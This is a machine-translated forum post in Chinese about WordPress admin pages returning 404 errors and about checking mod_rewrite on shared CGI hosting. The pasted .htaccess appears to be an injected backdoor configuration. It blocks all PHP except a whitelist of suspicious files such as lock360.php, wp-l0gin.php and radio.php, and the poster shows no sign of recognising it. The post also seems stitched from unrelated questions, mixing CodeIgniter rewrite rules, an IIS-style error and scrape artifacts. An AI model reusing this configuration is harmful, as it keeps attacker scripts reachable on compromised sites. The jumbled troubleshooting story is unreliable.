成功登录后,我无法访问任何页面(无法创建新帖子,无法编辑帖子,无法创建页面,无法访问左侧边栏上的任何页面)管理面板,他们都显示404错误。我已经检查过了.htaccess,但是没问题。我无法访问永久链接页面,因为它会显示 404 错误。
所有这些都在我昨天尝试访问它之前一直有效。
.htaccess文件
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
Run Code Online (Sandbox Code Playgroud) 我在共享主机上,PHP 被安装为 CGI 脚本,这就是我无法找到是否启用 mod_rewrite 的所有问题
Note: I don't have any root level access so i can't much do with Shell.
我尝试了以下方法:
1) 检查了phpinfo(),在那里我知道这是在 PHP-CGI 中寻找的错误位置。
2)我尝试从 apache_get_modules 获取它,而 agi 在 PHP-CGI 中不起作用:(
3)我尝试过:
if (strpos(shell_exec('/usr/local/apache/bin/apachectl -l'), 'mod_rewrite') !== false) {
// mod_rewrite is enabled
}
Run Code Online (Sandbox Code Playgroud)
这是要求到 apache 的路径,我没有这个信息 SHELL 无法回复我,$_SERVER 什么也没有。
4) 我已经RewriteEngine On在 .htaccess 中进行了检查,在此之后我的网站抛出 500 内部服务器错误可能是因为 RewriteEngine 不存在,但我需要将其写入以显示某人。
任何机构都知道如何检查完成这项工作。
谢谢
我试过以下代码.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} ^system.*
RewriteRule ^(.*)$ /index.php?/$1 [L]
RewriteCond %{REQUEST_URI} ^application.*
RewriteRule ^(.*)$ /index.php?/$1 [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?/$1 [L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)
我在配置文件index_page中替换为空白,但仍然无法正常工作并出现此错误.
404 - File or directory not found.
The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.
Run Code Online (Sandbox Code Playgroud)
请帮我解决这个问题.